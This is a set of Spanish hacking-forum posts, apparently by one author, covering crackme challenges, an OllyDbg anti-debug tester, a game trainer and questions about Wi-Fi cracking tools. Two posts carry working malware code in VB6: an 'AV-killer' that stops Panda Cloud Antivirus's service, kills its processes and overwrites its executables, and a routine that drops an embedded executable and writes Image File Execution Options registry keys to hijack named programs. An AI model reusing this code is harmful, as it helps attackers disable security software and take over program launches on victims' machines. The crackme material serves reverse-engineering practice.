Como yo lo he programado, he sido el primero en probarlo :P En un OllyDbg "limpio" he conseguido detectarlo en todas las funciones.
En mi OllyDbg con un par de pluguins he conseguido ocultarlo bastante, pero seguía siendo visible con algunas funciones.

Al final he terminado usando éstos plugins:



Con todos esos plugins activos, he conseguido poner invisible a OllyDbg en todas las funciones EXCEPTO en los Timming Methods.

Espero a ver si lo podéis probar para hacer entre todos un report sobre que funciones de detección son más eficaces. Si eso ya publicaré la función de algún método que queráis usar para vuestros crackme's

DOWNLOAD: http://www.mediafire.com/?r6j87t5ddac156m
#38


Bueno, ya ha quedado bastante claro que los Hardcoded en VB6 son pan comido, así que he programado ésta protección a ver si alguno le toca las cosquillas.

- El crackme está protegido con un compresor
- El crackme usa rutinas anti-debugg, pero creo que los plugins del OllyDbg se los saltan, así que no tendréis problemas en éste punto.
- Se genera un ID único de 4 cifras (hardware fingerprint)
- La combinación correcta de checkbox va relacionada con el ID




Prohibido parchear, ya se que podemos forzar el ID a un número tipo 1111 para solventar, así que no lo aceptaré como una solución válida.
Prohibido parchear, también, el salto condicional que comprueba la colmena.

En definitiva, tienes que destripar el algoritmo que he inventado para saber que checkbox's hay que pulsar, la relación la tenéis en el ID único.

El algoritmo es muy sencillo

DOWNLOAD: http://www.mediafire.com/?1pbhn4b4wj4a8d2
#39
Buenas, desde hace días me estoy iniciando en el mundo de la Ing. Inv, estoy leyendo todos los tutoriales de Ricardo Narvaja, por el momento es el más completo y sencillo que he visto. (Voy por la lección 21 de 58)

El problema me viene al intentar resolver algunos crackme's con protecciones, me detectan el OllyDbg y cierran el proceso y terminan de forma inesperada. Conozco la existencia de plugins o como hacer baypass manual a las típicas API's de isDebuggerPresent y EnumWindow. Tambien conozco que existen versiones modificadas de OllyDbg 1.10 con una selección de plugins y configuraciones óptimas, bien, sabiendo esto... aquí va mi pregunta:

He oido maravillas sobre Shadow Olly, OllySND y similares. Pero por más que los intento descargar, los links son muy antiguos y ya no funcionan. Alguien puede pasarme un link funcional?

Y ya de paso, si me recomendáis alguna versión distinta a Dark o SND, pues también me vale :P Solo quiero tener un Olly en condiciones para trabajar
#40
Bueno, os dejo mi segundo y último crackme por el momento. En realidad son 6 crackme's en 1, tendréis que resolverlos uno por uno a modo de prueba.

Dificultad (4/10) sencillo

Prueba 1: Nag Screen



No es necesario resolver la nag, el crackme te deja continuar pasados unos segundos. Tu decides en parchear o no, pero si lo haces demostrarás tus dotes de cracker.

Prueba 2: Enable it



El botón que te permite pasar a la siguiente prueba está deshabilitado, encuentra la función/API que lo activa para continuar.

Prueba 3: Serial it



El típico serialme, hay 3 versiones de éste tipo de crackme en el programa, aquí el nivel es MUY sencillito

Prueba 4: Serial it v2



Similar al anterior, se han suprimido los mensajes de alerta para añadir algo de dificultad.

Prueba 5: serial it v3



Última prueba del tipo 'serialme', dificultad añadida. Pero sigue siendo fácil

Prueba 6 final: Code inyect



Prueba final, aquí solo aceptaré una forma de solventar el crackme. El programa te quita "vida" cada vez que golpeas. Tienes que modificar el programa para que tu vida aumente en lugar de disminuir. Soy conciente que puedes parchear el salto condicional, pero lo que pido es que la vida aumente.




Consideraré el crackme resuelto si superas las pruebas 2,3,4,5 y 6. Teniendo en cuenta que en la prueba 6 NO se puede parchear el salto condicional, tendrás que modificar el código y hacer que la vida aumente.

Si además, resuelves la prueba 1, te ganarás mi respeto y lo haré constar en éste hilo :D

DESCARGAR: http://www.mediafire.com/?xsei66uiqxb74ek
#41
Bueno, os dejo un pequeño crackme que he creado especialmente para el foro, opino que es muy sencillito, dificultad 2/10



Os dejo algo de información:

* Programado en VB6
* Está empaquetado
* He programado una rutina casera para evitar el debugg
* He programado un sistema casero para obfuscar las string's
* Hay código trampa escrito (trap-code)

Hay dos formas de solventar el crackme:

* Encontrar el serial correcto
* Parchear el ejecutable para que funcione con cualquier serial

Los 2 métodos son correctos, si puedes, intenta conseguir los 2 métodos :)

Utiliza éste hilo para preguntar dudas si estás atascado

DESCARGAR: http://www.mediafire.com/?ov4xqo4orqjr24e
#42
Bueno, aqui os dejo mi ultima creación, es un Trainer para un juego. Requiere tener instalado Cheat Engine 6.2 en el sistema ( www.cheatengine.org )

Lo importante de aquí es la GUI, está programada en VisualBasic 6, tiene los siguientes efectos:

-- FadeIn Effect
-- Musica (hay 5 canciones distintas, suena una random cada vez que se ejecuta)
-- Efecto arco.iris en el fondo del formulario
-- Hay un formulario con la forma de MegaMan que se mueve
-- El boton [?] muestra un colorido efecto scrolltext vertical
-- El botón [nfo] muestra un efecto para ficheros NFO





Si no tenéis instalado el Cheat Engine, aparece un error, pero el trainer se sigue ejecutando para que podáis apreciar la GUI y los efectos. Si veo que el hilo tiene buena acogida postearé el source code.

DESCARGAR TRAINER: http://www.mediafire.com/?e6ihbhrfanohkc6

Thread Original: http://forum.cheatengine.org/viewtopic.php?t=561278

Desactiva Windows UAC o ejecuta el trainer como ADMINISTRADOR

Saludos!! :D
#43
Hola a todos, llevo un tiempo mirando y leyendo ésta sección del foro orientado a la auditoría wireless y tengo un par de dudas que espero alguien me pueda resolver:

Actualmente dispongo de un equipo portátil para "batallas", al cual he instalado el WifiWay 1.0 final en el propio HDD, así como algunos módulos actualizados para disponer de las últimas versiones de todas sus herramientas. Aquí viene mi primera duda:



Actualmente el portatil viene equipado con esa tarjeta (Ralink RT2500), el WifiWay me la detecta correctamente, puedo ponerla en modo monitor e inyectar.

Como tengo la suerte de trabajar de informático en mi empresa, he podido desmantelar otro equipo portátil y extraer su tarjeta wifi para mi uso personal (una Intel ipw2200)



Puedo instalar cualquiera de las 2 tarjetas en mi portatil, y al arrancar el WifiWay me las detecta sin problemas... aquí vienen mis preguntas:

1) Que tarjeta me recomendáis que deje instalada? Cual de las 2 es mejor para auditar e inyectar? He oído que para las ipw2200 se necesita un airoscript diferente, etc.... ¿Si vosotros pudierais escoger una de esas 2 tarjetas para vuestro uso, cual es quedariais?

2) Actualmente mi versión de WifiWay 1.0 que tengo instalado en el HDD viene con el aircrack-ng versión 0.7 (creo). Soy consciente que ha salido la versión 1.0 RC4 y la 1.1... Me recomendáis que actualice el módulo de aircark-ng que viene en el propio WifiWay? De ser así.. que versión me recomendáis?

3) En el caso de que alguien me recomiende actualizar... ¿Las herramientas que dependel del aircrack-ng (como por ejemplo el airoscript) me seguirán funcionando con la versión actualizada del aircrack-ng?

En principio esas son mis 3 dudas que tengo. Por lo demás voy avanzando en mis auditorias. Tengo las herramientas de WLANdecrypter y jazzteldecrypter actualizadas a la 1.3.1 y 2 (respectivamente), ya que son las que más utilizo. Por otra parte estoy abierto a sujerencias de nuevas herramientas que me puedan venir bien para esos 2 chipsets de los que dispongo.

He leído mucho ya por el foro, pero algunos tutorial que leo son algo antiguos y hablan de programas o procesos desfasados por completo, es por eso que me he animado a abrir éste thread para conseguir información actual.

Gracias :)
#44
Bueno, primero quiero aclarar que este programa/source no entra dentro del "concurso de desarrollo de malware de Abril Negro 2009". Pero sí entra dentro del boletín para Abril Negro 2009, como prueba de concepto...

Anti Cloud Antivirus by MadAntrax :P

He diseñado una simple función que aprovecha los comandos típicos de Windows (taskkill, net, etc...) y los he aplicado en forma de bucles FOR y Sleep's para generar un AV-Killer genérico. En éste caso lo he diseñado para el nuevo Cloud Antivirus de Panda



Que es Cloud Antivirus?

Es el nuevo antivirus gratuito desarrollado por Panda, usando un método de programación que evita sobrecargar la CPU del usuario (Cloud Computing). He analizado el AV y he decidido crear un AV Killer para "matar" el nuevo producto de Panda.

:http://www.cloudantivirus.com/default.aspx?lang=spa
:http://es.wikipedia.org/wiki/Computaci%C3%B3n_en_nube

El source del programa es el siguiente:

modAntiCloudAV.bas
Código (vb) [Seleccionar]
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Function StopService(ByVal sName As String) As Boolean
    On Error Resume Next
    Dim i As Integer
   
    For i = 1 To 3
        Shell "net stop " & sName, vbHide
        Sleep 250
    Next i
    Sleep 1000
    DoEvents
    StopService = True
End Function

Function DestroyFile(ByVal sFileName As String, ByVal sFilePath As String) As Boolean
    On Error Resume Next
    Dim i As Integer
   
    For i = 1 To 3
        Shell "taskkill /F /IM " & sFileName, vbHide
        Sleep 250
    Next i
    Sleep 1000
    DoEvents
   
    For i = 1 To 3
        Open sFilePath For Output As #1
            Print #1, "destroyed!"
        Close #1
        Sleep 10
    Next i
    DoEvents
    DestroyFile = True
End Function


Éste código es genérico para la mayoría de Antivirus que basan su "protección" en servicios. Éste ejemplo no es válido para los Antivirus que basan su "protección" en drivers o hooks (Kaspersky, etc...). Para usar el módulo y matar CloudAV se utiliza así:

Código (vb) [Seleccionar]
Private Sub CommandXP1_Click()
    On Error Resume Next
   
    Dim WShell As Object
    Dim CloudPath As String
   
    CommandXP1.Enabled = False
    Set WShell = CreateObject("WScript.Shell")
        CloudPath = WShell.regread("HKEY_LOCAL_MACHINE\SOFTWARE\Panda Security\Nano Av\Setup\Path")
    Set WShell = Nothing
   
    If CloudPath = "" Then
        MsgBox "No se ha encontrado Cloud Antivirus instalado en el sistema", vbExclamation, "Anti-CloudAV"
    Else
        StopService "NanoServiceMain"
        DoEvents
        DestroyFile "PSUNMain.exe", CloudPath & "PSUNMain.exe"
        DoEvents
        DestroyFile "PSANHost.exe", CloudPath & "PSANHost.exe"
        DoEvents
        DestroyFile "PSANToManager.exe", CloudPath & "PSANToManager.exe"
        DoEvents
        'CloudAV destroyed
        MsgBox "Proceso finalizado correctamente, comprueba si tu CloudAV sigue funcionando", vbInformation, "Anti-CloudAV"
    End If
    CommandXP1.Enabled = True
End Sub


El source es mejorable, se puede modificar para que no haga tantos bucles ni tantos sleep's y mejorar la rápidez. Pero como es una prueba de concepto... prefiero dejarlo así para evitar posibles copy&paste de noob's. Los que quieran usar ésta técnica tendrán la oportunidad de programarse correctamente un modulo más eficiente (evitar usar el objecto WScript, no usar Shell, cifrar las String's, control de errores, etc...)

;)

LINK DE DESCARGA: antiCloudAV (Fichero Compilado + Source en VB6)

Saludos.
#45
Aquí dejo el source completo del programa iFEO.exe del que he hablado en este post original:

[Método] - iFEO bug (Image File Execution Options)

Aquí esta el source del programa, el módulo principal:

Código (vb) [Seleccionar]
Function DropDummy(ByVal ThePath As String) As Boolean
    On Error Resume Next

    File = ""
    File = File & "4D5A0000504500004C0101006A2A58C3z8z040003010B01080001"
    File = File & "000080z4z79z3z0Cz3z79z3z0Cz5z400004z3z04z3z74z3z20z3z"
    File = File & "04z7z0401000088z7z02z19z4B45524E454C33322E646C6Cz4z38"

    i = 1
    Tmp = ""
    While i <= Len(File)
        If Mid(File, i, 1) = "z" Then
            a = i + 1
            k = 0
            While Mid(File, a, 1) <> "z"
                k = k * 10 + Mid(File, a, 1)
                a = a + 1
            Wend
            i = a + 1
            For a = 1 To k
                Tmp = Tmp + "00"
            Next
        ElseIf Mid(File, i, 1) <> "z" Then
            Tmp = Tmp & Mid(File, i, 2)
            i = i + 2
        End If
    Wend

    Set hFSO = CreateObject("Scripting.FileSystemObject")
    Set hFile = hFSO.CreateTextFile(ThePath, ForWriting)
    i = 1
    While i < Len(Tmp)
        File = Int("&H" & Mid(Tmp, i, 2))
        hFile.Write (Chr(File))
        i = i + 2
    Wend
    hFile.Close
    DoEvents
    DropDummy = True
End Function

Function AddFileName(ByVal fName As String, ByVal DummyFile As String)
    On Error Resume Next
    Set WShell = CreateObject("WScript.Shell")
    WShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\" & fName & "\Debugger", Chr(34) & UCase(DummyFile) & Chr(34)
End Function

Function DelFileName(ByVal fName As String)
    On Error Resume Next
    Set WShell = CreateObject("WScript.Shell")
    WShell.RegDelete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\" & fName & "\Debugger"
End Function


Y su descarga completa:

http://cactus-software.elhacker.net/iFEO Bug.zip

Saludos!!